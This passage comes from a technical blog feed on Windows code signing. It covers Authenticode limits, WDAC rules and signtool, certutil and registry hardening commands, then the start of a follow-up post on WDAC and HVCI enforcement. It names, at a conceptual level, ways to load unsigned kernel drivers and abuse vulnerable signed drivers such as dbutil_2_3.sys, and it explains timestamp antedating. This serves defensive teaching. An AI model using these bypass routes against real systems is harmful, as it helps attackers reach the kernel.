The post-2024 rename of Windows Defender Application Control [@mslearn-appcontrol-root]; a code-integrity policy language that consumes Authenticode primitives (chain, leaf-cert subject, `OriginalFileName`, version, WHQL EKU, page-hash table, embedded-vs-catalog provenance) as inputs to administrator-authored allow and deny rules. A WDAC rule level that allows or denies a binary if it is signed by a given Publisher (issuing CA + leaf-cert subject CN) **and** the PE's `OriginalFileName` matches **and** the PE's `FileVersion` is at or above a minimum. The tightest commonly used rule level; brittle across self-updating applications whose binaries change without warning [@mslearn-select-types-of-rules][@mslearn-use-code-signing].

A worked example

Generating a FilePublisher rule for a Microsoft-signed binary on PowerShell:

New-CIPolicyRule -FilePath "C:\Path\To\App.exe" -Level FilePublisher

produces a <FileRule> whose XML carries the issuing CA, the leaf-cert subject CN, the OriginalFileName from the version resource, and a MinimumFileVersion attribute. Every one of those fields is a direct read of the Authenticode SignerInfo and the PE version resource; nothing in the rule generation step talks to Microsoft. The administrator owns the rule.

Note: Microsoft's own guidance is verbatim: "Be aware of self-updating apps, as their app binaries may change without your knowledge" [@mslearn-use-code-signing]. FilePublisher rules pin a minimum version; if a self-updating app rolls out a build with a different OriginalFileName casing, or with ProductVersion changes that some packagers reuse as FileVersion, the rule silently stops matching. For self-updating apps, prefer Publisher (CA + subject CN only) and accept the looser blast radius.

Operational tip: audit-mode hits write event ID 3076 to the Microsoft-Windows-CodeIntegrity/Operational channel, enforcement-mode blocks write event ID 3077 [@mslearn-event-id-explanations]. Stage every policy in audit mode for at least one full patch cycle before flipping to enforcement; the 3076 stream is your inventory of what the rules would have denied.

WDAC's vocabulary makes one structural choice explicit that the article has been implicit about until now: trust is administrator-authored, not vendor-authored. The cryptographic identity is supplied by the same Authenticode primitives we just dissected; the policy is whatever the organisation writes. Before we look at the limits of what this stack can prove, one quick detour into how other operating systems have approached the same problem.

8. Catalog-vs-embedded across operating systems

Windows is unusual in two specific ways: it stores the catalog on the endpoint, and it refreshes the catalog through the OS update channel. No other mainstream OS does both.

System	Signature carrier	Catalog model?	Transparency log?	Counter-signing for longevity
Windows (Authenticode)	PKCS#7 / CMS SignedData inside `WIN_CERTIFICATE`	Yes -- `.cat` files in `CatRoot`, refreshed by Windows Update [@mslearn-catalog-files]	No	Yes -- RFC 3161 token as unsigned attribute [@rfc-3161]
macOS	Apple-issued code signature + Notarization ticket; ticket stapled to artefact or fetched online [@apple-notarization]	No -- Notarization ticket attests, but there is no on-disk "list of hashes" structure	No	Stapled ticket effectively gives a signing-time guarantee; no third-party TSA
Linux IMA / EVM	Extended-attribute signatures on individual files [@linux-ima-wiki]	No -- per-file `security.ima` xattr	No	Out of scope; appraised against locally trusted keyring
Android	APK Signature Scheme v3 (block inside the APK) [@android-apk-v3]	No	No (signatures live inside the APK)	Proof-of-rotation chain inside the v3 block lets a publisher rotate keys without re-signing
sigstore (OCI artefacts)	Detached signature in OCI registry; short-lived Fulcio cert [@sigstore-overview]	Closest analogue -- detached signature can cover blobs [@cosign-blobs]	Yes -- Rekor [@rekor-github]	TSA-style entries possible via Rekor

The closest design analogue to the Windows catalog model is sigstore. Both decouple the signature from the artefact, and both let a single signing event cover many files. The difference is where the detached signature lives. Windows puts the .cat on the endpoint and refreshes the catalog through the OS update channel; sigstore stores the detached signature in an OCI registry and writes an attestation to a Rekor transparency log. That difference is also what gives Windows the offline-stale-catalog problem (a disconnected endpoint cannot freshness-check CatRoot) and gives sigstore the offline-no-Rekor problem (a disconnected verifier cannot consult the log).Readers who want the broader cross-platform identity comparison should consult the earlier App Identity in Windows article in this series, which compares Apple's package identity, Android's app IDs, and Linux's lack of a unified equivalent in more depth. The present article only summarises the signature-carrier side of the comparison.

Whether Microsoft puts the catalog on the endpoint or in an OCI registry is a deployment choice. The limit of what any signature -- catalog, embedded, sigstore-anchored, Apple-notarised -- can prove is a deeper, more uncomfortable claim. We turn to that next.

9. What signatures cannot prove

Stuxnet did not break Authenticode. It walked through it. The same is true of Flame, of ShadowHammer, and of the Bitwarden CLI npm hijack. Every named incident on the modern Windows code-signing timeline is an instance of the same structural lower bound: signatures prove who, not what. The Windows code-identity stack has spent fourteen years adding layers that narrow the consequences of that bound. None of them eliminate it.

Four limits are worth naming explicitly.

L1. Provenance is not safety

By Rice's theorem corollary, no decision procedure can determine arbitrary non-trivial semantic properties of a program. A signing system can therefore certify only "this binary came from a key-holder," never "this binary is benign." Stuxnet 2010 [@stuxnet-dossier], Flame 2012 [@stevens-counter-cryptanalysis][@ms-advisory-2718704], Operation ShadowHammer 2019 [@securelist-shadowhammer], and the Bitwarden CLI npm hijack of 22 April 2026 [@bitwarden-statement][@stepsecurity-bitwarden][@hackernews-bitwarden] are four independent instances of the same gap, across four entirely different attack surfaces (stolen kernel-driver key; forged sub-CA via MD5 collision; compromised ASUS Live Update certificate; compromised npm OIDC trusted-publishing). The empirical scale is large: Kim, Kwon, and Dumitraș measured millions of certificates and hundreds of thousands of signed-but-malicious PE samples in the Windows code-signing PKI in their CCS 2017 paper [@dumitras-ccs-2017].

The mathematics of Rice's theorem is succinct. Let $P$ be any non-trivial semantic property of programs (e.g. is malicious). For any algorithm $A$ that on input program $p$ outputs $A(p) \in {\text{yes}, \text{no}}$ claiming whether $p$ has property $P$, there exists a program $q$ where $A(q)$ is wrong. A signature scheme is not such an algorithm $A$ in the first place: it computes $\text{Sig}_{\text{sk}}(\text{hash}(p))$. The signature output has no semantic content about $p$'s behaviour; it asserts only that the holder of $\text{sk}$ touched $\text{hash}(p)$.

L2. CA cardinality and the weakest-link property

The trust graph for kernel-mode loads is narrow: a small number of Microsoft roots [@mslearn-kmcs-policy]. The trust graph for user-mode loads is the union of every root in the system Trusted Root store -- a much larger set. Any one root, if compromised, degrades the entire user-mode code-identity trust graph; any one sub-CA, if forged, opens the kernel-mode path for the lifetime of the certificate. The Sotirov / Stevens / Appelbaum / Lenstra / Molnar / Osvik / de Weger rogue-CA work from December 2008 [@hashclash-rogue-ca] demonstrated this dynamic for the web PKI; the same family of attack was then mounted in Flame in 2012 against the Microsoft Enforced Licensing Intermediate PCA [@ms-advisory-2718704]. The CSBR's EV-on-hardware requirements [@cabf-cs-documents] reduce stolen-key risk at the leaf level, but a forged sub-CA bypasses the leaf entirely.

L3. Catalog-store freshness on disconnected endpoints

A disconnected endpoint cannot freshness-check its CatRoot. The catalog database is whatever Windows Update last delivered -- which means freshly issued catalogs covering newly shipped inbox files cannot be trusted on machines that have been offline. The Vulnerable Driver Blocklist faces the same problem in reverse: a freshly blocked driver does not become un-trusted on a disconnected endpoint until the supplemental policy lands. Microsoft acknowledges this in the VDB documentation: "It's often necessary for us to hold back some blocks to avoid breaking existing functionality" [@mslearn-recommended-driver-block-rules]. The publication lag is deliberate, not accidental, and there is no in-band way for an endpoint to ask "is my VDB current?"

L4. TSA centralisation and antedating

RFC 3161 has no transparency log. A compromised TSA can issue countersignatures with arbitrary genTime undetectably, until and unless the TSA's root is revoked. Sigstore Rekor [@rekor-github] is the canonical answer to this problem in the OSS world; nothing equivalent ships in the Authenticode stack. The consequence is asymmetric: a compromised TSA can antedate a signature backwards, making a freshly signed but recently malicious binary appear to have been signed before the malicious campaign began -- which on most verifiers means it will still verify even after the actual signing certificate is revoked.

flowchart TD L1["L1: Provenance != safety
(Rice's theorem corollary)"] L2["L2: CA cardinality
(weakest-link property)"] L3["L3: CatRoot freshness
(offline endpoints stale)"] L4["L4: TSA centralisation
(no transparency log)"] Floor["What is actually being proved:
a key-holder touched hash(p) at genTime"] L1 --> Floor L2 --> Floor L3 --> Floor L4 --> Floor A valid signature proves only who signed the binary, never what the binary does.

Key idea: Authenticode is the floor of Windows trust, not the ceiling. Every later layer -- Kernel-Mode Code Signing, App Control for Business, the Vulnerable Driver Blocklist, HVCI page-hash enforcement -- exists because the floor cannot, by construction, do more.

Stuxnet 2010, Flame 2012, ShadowHammer 2019, and Bitwarden CLI 2026 are four instances of the same lower bound, fourteen years apart, across four entirely different surfaces: a stolen private key for a kernel driver; a forged Microsoft sub-CA via cryptographic collision; a compromised ASUSTeK signing certificate used to sign a malicious updater; a compromised npm OIDC trusted-publishing pipeline used to publish a malicious CLI release. In each case the signature was valid. In each case the binary was malicious. The layers we add -- cross-signing deprecation, EV-on-hardware, the VDB, WDAC -- do not close the gap. They reduce the blast radius of the inevitable next incident.

Once you see provenance and safety as separate questions, every open problem in the code-signing stack lines up in one direction: how do you reduce the blast radius of the inevitable next valid-but-malicious signature?

10. Open problems

Five problems are concrete enough to call out as ongoing work.

O1. Post-quantum Authenticode. Microsoft has not yet published a SpcIndirectDataContent variant that references the ML-DSA (FIPS 204 [@fips-204]) or SLH-DSA (FIPS 205 [@fips-205]) OIDs. The CA/B Forum CSBR has not named a post-quantum algorithm for code-signing certificates; the current CSBR v3.8 [@cabf-cs-documents] still rests on RSA and ECDSA. NIST's PQC programme has set a 2035 deadline to deprecate quantum-vulnerable algorithms [@nist-pqc]. The CMS extensibility precedents are there: RFC 8554 profiles stateful LMS [@rfc-8554], RFC 8419 profiles EdDSA in CMS [@rfc-8419], and there is no architectural reason the same approach cannot profile ML-DSA. A hybrid-signed binary that carries both an RSA and an ML-DSA SignerInfo inside the same SignedData is technically possible today, and Microsoft will likely have to ship it before catastrophic loss of confidence in RSA can happen.FIPS 204 (ML-DSA) and FIPS 205 (SLH-DSA) were both finalised on 13 August 2024 [@fips-204][@fips-205]. The standards are stable; what is missing is the Authenticode-side OID registration and the Hardware Developer Center portal-signing pipeline that would emit a PQ counter-signature. The CSBR side and the Microsoft side both have to move; neither has publicly committed to a date.

O2. Per-page integrity for non-PE artefacts. Page hashes inside SpcPeImagePageHashes2 [@authenticode-pe-docx] are PE-specific. PowerShell scripts, MSIX packages, Appx packages, and the .cat files themselves rely on whole-file Authenticode hashing; if an attacker can corrupt a single byte after load, the OS does not currently re-hash. HVCI gives PE binaries a runtime check; the script and package side does not yet have an equivalent.

O3. Transparency logs for Authenticode countersignatures. RFC 3161 TSAs do not publish their issued tokens. A backdated countersignature from a compromised TSA is currently undetectable beyond CA revocation. Sigstore Rekor [@rekor-github] demonstrates that a transparency log integrates with a signing pipeline at low overhead; there is no equivalent for the Microsoft-signed-driver world or for third-party Authenticode signers.

O4. Revocation propagation latency. The gap between "the CA revokes" and "every endpoint refuses to verify" is empirically days to weeks. CRLs are downloaded on a cadence (with EnableCertPaddingCheck aside, OCSP is not even applied to Authenticode by default). The VDB's quarterly cadence [@mslearn-recommended-driver-block-rules] is faster than CRL-only and slower than the rate at which attackers can stand up an attack with a freshly stolen certificate. Some of this is unavoidable -- you cannot push a revocation faster than an offline endpoint can reach Windows Update -- but a structurally better answer is one of the open questions.

O5. Post-CrowdStrike (July 2024) kernel-driver-loading discipline. Microsoft's Windows Resiliency Initiative was announced in the wake of the 19 July 2024 CrowdStrike Falcon Sensor outage; a fully-specified replacement for today's third-party kernel-driver model has not yet shipped. A successful answer would push parts of today's Authenticode + KMCS + WDAC story toward sandboxed user-mode driver frameworks, with the kernel restricted to a much narrower interface. The Authenticode primitives this article has dissected will still be the substrate; what gets layered on top is the open architectural question.

Note: This article is about the crypto foundation under WDAC: the bytes on disk, the envelope structures, the chain of trust. It does not cover the runtime enforcement layer -- how Code Integrity, HVCI, and the secure kernel use these primitives at process- and driver-load time, how page hashes are checked at fault time, how the Vulnerable Driver Blocklist is loaded as a supplemental policy. That story is the subject of the next post in this series.

The next decade of Windows code-signing is going to be dominated by post-quantum migration and by whatever the Windows Resiliency Initiative converges to. Both will be evolution, not revolution: they will sit on top of the certificate-table, catalog-store, and timestamp-token primitives that have been load-bearing since 1996. To finish, the day-to-day commands that interrogate every byte we have discussed.

11. Practical guide: signtool, certutil, New-CIPolicyRule

If you have read this far, you should be able to run the following commands on a Windows host and explain every field of their output. Microsoft's signtool, certutil, and the ConfigCI PowerShell module are the canonical tools [@mslearn-crypto-tools].

Verify a signed binary end to end

signtool verify /v /pa /all "C:\Path\To\binary.exe"

The output prints, in order: the SHA-256 of the file's Authenticode hash, the leaf certificate's subject and issuer, every intermediate up to the trusted root, the RFC 3161 timestamp's genTime, and the policy used to validate. /pa opts into the "default authenticode" policy (instead of the deprecated MicrosoftRoot policy); /all walks every signature on the file rather than just the strongest.

Compute and look up an Authenticode hash

certutil -hashfile "C:\Path\To\driver.sys" SHA256
certutil -CatDB "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}" /v /search <hash>

The -hashfile command emits the file SHA-256, which is not the Authenticode hash (the file SHA-256 includes the certificate-table bytes; the Authenticode hash excludes them). The Authenticode hash is what is stored inside each catalog's CatalogList. Get-AuthenticodeSignature is the easier PowerShell route to the Authenticode hash directly.

Walk the catalog store

Get-ChildItem "C:\Windows\System32\CatRoot" -Recurse | Select-Object FullName

The GUID-named subfolder is the CryptSvc policy database identifier; the .cat files inside are individually-signed SignedData blobs whose encapContentInfo is a CatalogList [@mslearn-catalog-files]. CatRoot2 holds staging copies and the catalog database index.

Generate a WDAC rule

New-CIPolicyRule -FilePath "C:\Path\To\App.exe" -Level FilePublisher

This produces an XML <FileRule> element with the issuer, subject CN, original file name, and minimum file version. Pipe the result into New-CIPolicy to build a policy XML; convert to binary with ConvertFrom-CIPolicy and deploy via Group Policy or Intune.

Decide between embedded and catalog signing

For an internal line-of-business app shipped as a single MSI, embedded signing is the default and the cleanest choice. For a multi-binary package where some files are third-party and unsignable, the Package Inspector workflow [@mslearn-deploy-catalog-files] builds a .cat covering the post-installation file set without modifying any binary:

PackageInspector.exe Start C:\
... install your app ...
PackageInspector.exe Stop C:\ -Name MyApp.cat -ResultsFile C:\Temp\MyApp_inspection.txt

Confirm a kernel-mode chain

signtool verify /v /pa /kp "C:\Windows\System32\drivers\example.sys"

The /kp policy uses the kernel-mode driver policy: the chain must terminate at a kernel-mode-trusted root (the Microsoft Code Verification Root family of anchors, or a portal-signed-driver Microsoft Root Authority anchor). certutil -store -enterprise root enumerates the local kernel-mode roots; the legacy Microsoft Code Verification Root is named on the KMCS policy page [@mslearn-kmcs-policy] but its thumbprint is not published on a stable Microsoft Learn URL -- you read it via certutil -store on the running system.

Make an informed `EnableCertPaddingCheck` decision

The strict-parser registry value lives in two places. Set both:

reg add "HKLM\Software\Microsoft\Cryptography\Wintrust\Config" /v EnableCertPaddingCheck /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Wow6432Node\Microsoft\Cryptography\Wintrust\Config" /v EnableCertPaddingCheck /t REG_DWORD /d 1 /f

CISA added CVE-2013-3900 to the Known Exploited Vulnerabilities catalogue on 10 January 2022 [@nvd-cve-2013-3900]; treat this as effectively mandatory in any hardened-baseline build.

Annotated `signtool verify` output

Verifying: notepad.exe
Hash of file (sha256): 6B9B7E...   <-- Authenticode hash, the same one
                                       inside SpcIndirectDataContent.messageDigest
Signing Certificate Chain:
  Issued to: Microsoft Root Certificate Authority 2010   <-- root anchor
    Issued by: Microsoft Root Certificate Authority 2010
  Issued to: Microsoft Windows Production PCA 2011        <-- intermediate / PCA
    Issued by: Microsoft Root Certificate Authority 2010
  Issued to: Microsoft Windows                             <-- leaf / signer
    Issued by: Microsoft Windows Production PCA 2011
The signature is timestamped: Thu Jul ...                 <-- RFC 3161 genTime
Timestamp Verified by:
  Issued to: Microsoft Time-Stamp PCA 2010                <-- TSA chain
  Issued to: Microsoft Time-Stamp Service
File is signed and the signature was verified.

{` // Cross-platform pedagogy: this snippet shows the flow of a catalog lookup. // On Windows, "certutil -CatDB /v /search " returns the // covering catalog file. Off Windows, we mock the output so the flow is visible.

interface CatalogLookupResult { hash: string; catalogFile: string | null; signerSubject: string | null; }

function lookupCatalog(authenticodeHash: string): CatalogLookupResult { // Real implementation would shell out to: // certutil -CatDB /v /search // Parse the output for "Hash: Catalog: ". const known: Record<string, CatalogLookupResult> = { "6B9B7E...": { hash: "6B9B7E...", catalogFile: "C:\\Windows\\System32\\CatRoot\\{F750E6C3-...}\\Package_for_KB12345.cat", signerSubject: "CN=Microsoft Windows Production PCA 2011" } }; return known[authenticodeHash] || { hash: authenticodeHash, catalogFile: null, signerSubject: null }; }

const r = lookupCatalog("6B9B7E..."); console.log(r.catalogFile ? "Catalog-signed by " + r.signerSubject : "Not catalog-covered"); `}

Note: The most common practitioner mistake is signtool sign /n <name> without /tr <tsa-url> /td sha256. A signature produced this way silently loses validity the moment the end-entity certificate expires -- which can be years later, when the signer has long since lost access to whatever signing key produced it. The fix is to always include /tr and a strong /td. RFC 3161 [@rfc-3161] is the entire reason long-lived signatures still verify; opting out of it is opting out of the longevity guarantee.

SmartScreen Application Reputation is not gated on Authenticode validity. It is gated on certificate *class* (EV vs. OV) and on aggregate *download volume* and reporting. An internally signed enterprise LOB app has neither: it is signed with an OV certificate, and its download volume is at most a few hundred enterprise users. The fix has two paths. The cheap one is to ride your enterprise WDAC policy rather than fight SmartScreen -- App Control rules allow the binary unconditionally inside your organisation. The expensive one is to buy an EV certificate, push the binary through a small early-access user pool, and let SmartScreen accumulate the reputation signal. Both work. Fighting SmartScreen with a louder OV signature does not.

These seven commands cover the full surface of what Authenticode, catalog signing, and WDAC let a Windows engineer actually inspect. Everything else in this article is context for what those command outputs mean.

12. Frequently asked questions

Authenticode is a specific PKCS#7 / CMS profile for signing Windows portable executables, catalog files, and a small set of related artefacts. It is defined by Microsoft's `Authenticode_PE.docx` specification [@authenticode-pe-docx] and is characterised by a PE-specific Authenticode hash (with four exclusions), the `SpcIndirectDataContent` content type at OID `1.3.6.1.4.1.311.2.1.4`, and the `WIN_CERTIFICATE` certificate-table wrapper. Other code-signing schemes -- JAR signing for Java, APK Signature Scheme v3 for Android [@android-apk-v3], sigstore/cosign for OCI artefacts [@sigstore-overview], Apple Notarization for macOS [@apple-notarization] -- are not Authenticode-compatible. They solve similar problems with different envelopes. Not if the signature was RFC 3161 timestamped at signing time. The `TimeStampToken` in the unsigned attributes pegs the signing event to a `genTime` from a Trusted Time-Stamping Authority [@rfc-3161]; later verifiers compare `genTime` to the signing certificate's validity window and honour the signature so long as `genTime` was inside that window. The signature *will* stop working on hash-only WDAC rules (which do not consult certificate expiry at all) and on the rare verifiers that enforce chain time at validation. Signing without `/tr` is the way to produce a signature that silently loses validity at end-entity-cert expiry; that is the single most common Authenticode mistake at signing time. Only by enabling Test Signing mode (which puts a watermark on the desktop and refuses to coexist with Secure Boot), or by booting with Driver Signature Enforcement disabled (which is a one-boot bypass), or by using a vulnerable signed driver to load your unsigned code (the entire point of the Vulnerable Driver Blocklist [@mslearn-recommended-driver-block-rules]). Production loading of an unsigned driver on a normally configured Windows 11 system is not supported. Cross-signing for new end-entity certs has been closed since the 29 July 2015 issuance cutoff [@mslearn-kmcs-policy]; cross-certificates expired by July 2021 [@mslearn-deprecation-spc-crc]. See the §11 Spoiler *"Why your internally-signed LOB app trips SmartScreen"* for the detailed explanation of why SmartScreen Application Reputation weights certificate class (EV vs. OV) and download volume rather than Authenticode validity, and for the two production fixes (ride your enterprise App Control policy, or buy an EV certificate and let reputation accumulate). The one-line summary: Authenticode and SmartScreen are different decision systems that happen to read the same `SignerInfo` -- making your signature *louder* in Authenticode does not buy you reputation in SmartScreen. The `Microsoft Code Verification Root` is the historical kernel-mode trust anchor whose intermediate cross-signed third-party kernel code-signing CAs for pre-July-2015 drivers [@mslearn-kmcs-policy]. It is named in the KMCS policy document; its thumbprint is not published on a stable Microsoft Learn URL, so practitioners read it via `certutil -store` on the running system. The `Microsoft Code Signing PCA` family of intermediates (and its newer cousins like `Microsoft Windows Production PCA 2011`) are user-mode signing chains used for Microsoft-internal binaries and most WHQL catalogs. Both feed into `WinVerifyTrust`; they differ in which downstream consumer treats them as authoritative -- the kernel for the former, user-mode trust decisions for the latter. No. The Authenticode hash excludes four PE regions: the optional-header `CheckSum` (4 bytes), the `IMAGE_DIRECTORY_ENTRY_SECURITY` data-directory entry (8 bytes), the certificate-table bytes themselves, and the file-alignment padding after each section [@authenticode-pe-docx]. So `(Get-AuthenticodeSignature notepad.exe).Hash` returns a different value than `certutil -hashfile notepad.exe SHA256`. The Authenticode hash is what is stored inside `SpcIndirectDataContent.messageDigest` and what is matched against catalog `memberHash` entries; the file SHA-256 is useful for forensic identification but does not appear anywhere in the signature flow. They differ in precision and in which Authenticode fields they consult [@mslearn-select-types-of-rules]. `Publisher` allows anything signed by a given issuing CA + leaf-cert subject CN; broadest but loosest. `FilePublisher` adds `OriginalFileName` + `MinimumFileVersion` constraints; tightens to a specific binary at a min version. `WHQLFilePublisher` further requires the WHQL EKU; the strictest commonly used rule level. Self-updating apps invalidate `FilePublisher` rules silently when their `OriginalFileName` or `FileVersion` change without warning [@mslearn-use-code-signing]; most enterprises start at `Publisher` and tighten only for high-risk binaries. No. NVD's verbatim Microsoft language: *"Microsoft does not plan to enforce the stricter verification behavior as a default functionality on supported releases of Microsoft Windows. This behavior remains available as an opt-in feature via reg key setting, and is available on supported editions of Windows released since December 10, 2013"* [@nvd-cve-2013-3900]. CISA added the CVE to the Known Exploited Vulnerabilities catalogue on 10 January 2022 with a federal due date of 10 July 2022. Hardened environments should set `EnableCertPaddingCheck=1` in both the native and `Wow6432Node` registry paths.

13. Closing reflection

In August 1996 the Authenticode trust decision was a single yes/no answer to a single question: did this PKCS#7 SignedData blob, attached to this downloadable ActiveX control, validate against a CA in the user's browser? Thirty years later, the trust decision is a chained question composing every primitive in this article: a WIN_CERTIFICATE record points to a SignedData envelope; the envelope's SpcIndirectDataContent carries an Authenticode hash and optional page hashes; an unsigned attribute carries an RFC 3161 timestamp; the catalog store may carry a parallel signature for the same hash; the certificate chain terminates at one of a small set of Microsoft anchors for kernel-mode loads; an administrator's App Control policy decides whether the verdict survives the rule evaluation; the Vulnerable Driver Blocklist denies a small curated list outright.

The cryptography has not moved. The certificate table is still where the bytes live. PKCS#7 SignedData is still the envelope. RSA is still the signature algorithm. What has changed -- and what is going to keep changing through the post-quantum migration and whatever the Windows Resiliency Initiative converges to -- is the layering of policy on top.

Authenticode is not the ceiling. It is the floor. Everything else is built on top, and the next time a Realtek certificate is stolen, those layers are what decides whether the next Stuxnet still loads.

WDAC + HVCI: Code Integrity at Every Layer in Windows

noreply@paragmali.com (Parag Mali) — Mon, 11 May 2026 00:00:00 GMT

**Windows enforces "which code is allowed to run" through two coupled primitives.** WDAC is an XML-schema policy that the in-kernel `CI.dll` evaluates at every PE load. HVCI is the hypervisor-rooted check that runs `SkCi.dll` inside Virtual Trust Level 1, where the VTL0 kernel cannot reach it. Together they form the runtime enforcement loop on top of the App Identity primitives, and together they refuse the 8-microsecond signed-driver load that opens this article. This piece walks the policy schema, the audit-to-enforce migration discipline, the per-VTL SLAT state machine, the Vulnerable Driver Block List, and the residual attack surface (return-oriented programming, signed living-off-the-land binaries, hypervisor rollback) that the loop cannot close.

1. Signed Code Still Isn't Trusted Code

A red-team operator drops a signed, valid, never-revoked OEM driver onto a freshly-imaged Windows 11 24H2 box with the default WDAC policy enforced and HVCI on. The driver is dbutil_2_3.sys, a real Dell utility tracked as CVE-2021-21551 [@nvd-cve-2021-21551], with an authentic Microsoft-trusted certificate in its embedded signature. The sc.exe create call returns success. The StartService call spins for roughly eight microseconds. Then the driver fails to load with ERROR_DRIVER_BLOCKED, and the Microsoft-Windows-CodeIntegrity/Operational event log lights up with event 3033 [@ms-driver-blocklist].

The driver is not malware. It is a perfectly legitimate diagnostic utility that Dell shipped to hundreds of millions of laptops between 2009 and 2021 [@sentinelone-dbutil], signed by a certificate that chains to a root in the Microsoft Trusted Root Program. The certificate has not expired. It has not been revoked. The driver itself is intact -- not modified, not repacked, not even slightly truncated. And it cannot run.

A class of attack in which a privileged operator (or an exploited userland process that has reached LocalSystem) loads a driver that is *signed* and *trusted* by the operating system, but contains a vulnerability that lets the loader execute arbitrary code in ring 0. The driver is the vehicle; the vulnerability inside the driver is the payload. The Dell `dbutil_2_3.sys` driver and the MSI Afterburner `RTCore64.sys` driver are the canonical 2018-2024 examples (CVE-2019-16098 [@nvd-cve-2019-16098], CVE-2021-21551 [@nvd-cve-2021-21551]).

That eight-microsecond refusal is the entry point of this article. It raises four questions that the next ten sections answer in order. Which Windows component refused the load? What policy language did it consult? How did that policy reach the device? And, most uncomfortably, which classes of attack would still get to the kernel anyway?

This piece sits alongside an earlier post on App Identity [@paragmali-com-app-ide].The App Identity post covers what code identity is in Windows -- Authenticode, Kernel Mode Code Signing (KMCS), publisher chains, hash strategies. This article argues what Windows does with that identity at every page-fault. The two pieces compose: identity is the noun; enforcement is the verb. Where App Identity covers what Windows means by "this is the same bag of bytes the publisher signed," what follows is what the OS does with that fact at every PE load. The two reduce, together, to a single sentence that section five will earn: code integrity at every layer is not a slogan; it is a page-fault sequence that runs dozens of times during one driver load.

sequenceDiagram participant Op as Operator (sc.exe) participant SCM as Service Control Manager participant NT as NT Loader (NtLoadDriver) participant CI as CI.dll (VTL0) participant Sk as SkCi.dll (VTL1) participant SLAT as Hypervisor SLAT Op->>SCM: sc.exe create / start SCM->>NT: NtLoadDriver(\dbutil_2_3.sys) NT->>CI: Validate Authenticode + policy CI->>Sk: Secure call: revalidate + check Block List Sk->>Sk: Hash matches Block List entry Sk-->>SLAT: Refuse W->X promotion SLAT-->>NT: Page-fault on first execute NT-->>SCM: STATUS_DRIVER_BLOCKED SCM-->>Op: ERROR_DRIVER_BLOCKED + event 3033

But before we can explain how the load was refused, we have to explain why this kind of refusal is a twenty-five-year-old engineering problem. Two earlier Microsoft answers, Software Restriction Policies and AppLocker, were the wrong shape -- and the wrong shape in instructive ways.

2. Historical Origins: The 1990s Free-for-All and the Birth of "Path Is Not Identity"

In 2001, a Windows XP user double-clicked a .vbs attachment and the OS asked nobody before running it. Code Red, Nimda, and MS Blaster had not yet finished teaching Microsoft why that was a bad design, but the theoretical ground was already a decade and a half old. Fred Cohen had proved, in his 1984 paper Computer Viruses -- Theory and Experiments [@cohen-eecs588], that general malware detection is undecidable -- without detection, containment is, in general, impossible. The verbatim form of that result is reserved for §8 below, where the theoretical-limits argument turns on it. If detection was off the table as a general primitive, the only remaining engineering option was the opposite of detection: an explicit allowlist.

Authenticode existed since Internet Explorer 3 in 1996, but it was advisory -- a "Security Warning" dialog the user could click past. The first OS-level enforcement primitive arrived with Windows XP and Server 2003 in the form of Software Restriction Policies (SRP) [@learn-microsoft-com-2003-cc782792vws10]). SRP was the first time the kernel was asked to refuse a load on the strength of an administrator-set rule, not a user click.

The original Windows app-control primitive, introduced with Windows XP and Server 2003. SRP supports four rule classes (path, hash, certificate, zone) and a fixed-precedence walk inside the Safer API call `SaferIdentifyLevel` [@learn-microsoft-com-2003-cc786941vws10]). Deployment is Group Policy only; storage post-download is the registry. SRP was deprecated in Windows 10 build 1803 [@ms-srp-deprecated], with Microsoft's documentation explicitly redirecting to AppLocker or WDAC. Microsoft's PE-image signing scheme [@ms-authenticode-ref], introduced with Internet Explorer 3 in 1996. An Authenticode signature attaches a CMS PKCS#7 envelope to a PE binary, binding the file's digest to a publisher certificate that chains to a Microsoft-trusted root. The same signature surface is reused by Kernel Mode Code Signing [@ms-acfb-overview], Smart App Control, and the WDAC `Signers` element discussed later in this article.

SRP shipped four ways to identify a binary, but the architectural lesson it forced into the open was about the first of those four. Path rules looked elegant on paper -- "trust everything in C:\Program Files" -- and lethal in practice, because a path is not a property of a binary. A path is the coordinates of a place a bag of bytes happens to sit, and any attacker who can write to that place inherits the trust attached to it. World-writable directories under %TEMP%, %APPDATA%, and various inherited-permission folders under C:\Program Files itself meant that path rules were structurally a lie. Hash rules were correct but brittle; certificate rules were correct but coarse; zone rules were correct but circumventable through a download into a trusted zone.

Key idea: Path is not identity. A path is a place a bag of bytes happens to sit; an attacker who can write to that place inherits the trust. This sentence will recur three times in this article -- at SRP, at AppLocker, and at WDAC's path-rule writeability check -- because every generation of Windows app-control re-learned it at a new layer.

gantt title Windows app-control + HVCI lineage 2001-2025 dateFormat YYYY-MM section App-control rail SRP (Windows XP) :2001-10, 17M AppLocker (Windows 7) :2009-10, 72M Configurable CI (Windows 10 1507) :2015-07, 27M WDAC rename (1703/1709) + ISG/MI :2017-04, 24M Multi-policy WDAC (1903) :2019-05, 60M ACfB rebrand (2024) :2024-01, 24M section HVCI / VBS rail HVCI in Device Guard (1507) :2015-07, 13M HVCI rename (1607) :2016-08, 20M MBEC/GMET reporting (1803) :2018-04, 25M KDP (Windows 10 2004) :2020-05, 16M Driver Block List GA (Win 11 22H2):2022-09, 24M KB5042562 Downdate fix :2025-07, 5M

The first inflection point came when the mass-mailer worms of 2001-2004 made it operationally embarrassing for Microsoft to keep shipping an OS in which "double-click runs anything." Microsoft's Trustworthy Computing memo dates to January 2002 [@microsoft-com-trustworthy-computing] -- Bill Gates' company-wide email pivoting Windows engineering toward security as a first-class deliverable. SRP was its first concrete app-control answer.Microsoft's own Windows Server 2003 SRP technical reference [@learn-microsoft-com-2003-cc786941vws10]) describes the architecture: when a user double-clicks an executable, the enforcement API SaferIdentifyLevel is called to determine the rule details that apply. The same page enumerates the Safer API, the Group Policy Editor extension, the WinVerifyTrust integration with Authenticode, the Event Viewer logging, and Active Directory + Group Policy as the propagation substrate.

SRP showed the shape of the answer -- admin-set policy, OS-enforced, applied before launch -- but it failed on three properties the next generation would try to close. It failed on granularity because path was its primary identity. It failed on audience because it had no per-user or per-group scoping. And it failed on surface because script hosts (wscript.exe, cscript.exe) had to opt in to consult its rules. AppLocker arrived in Windows 7 to fix all three. And it discovered that even closing all three is not enough.

3. Early Approaches: AppLocker, Squiblydoo, and the Engineering of "Publisher Is Not Enough"

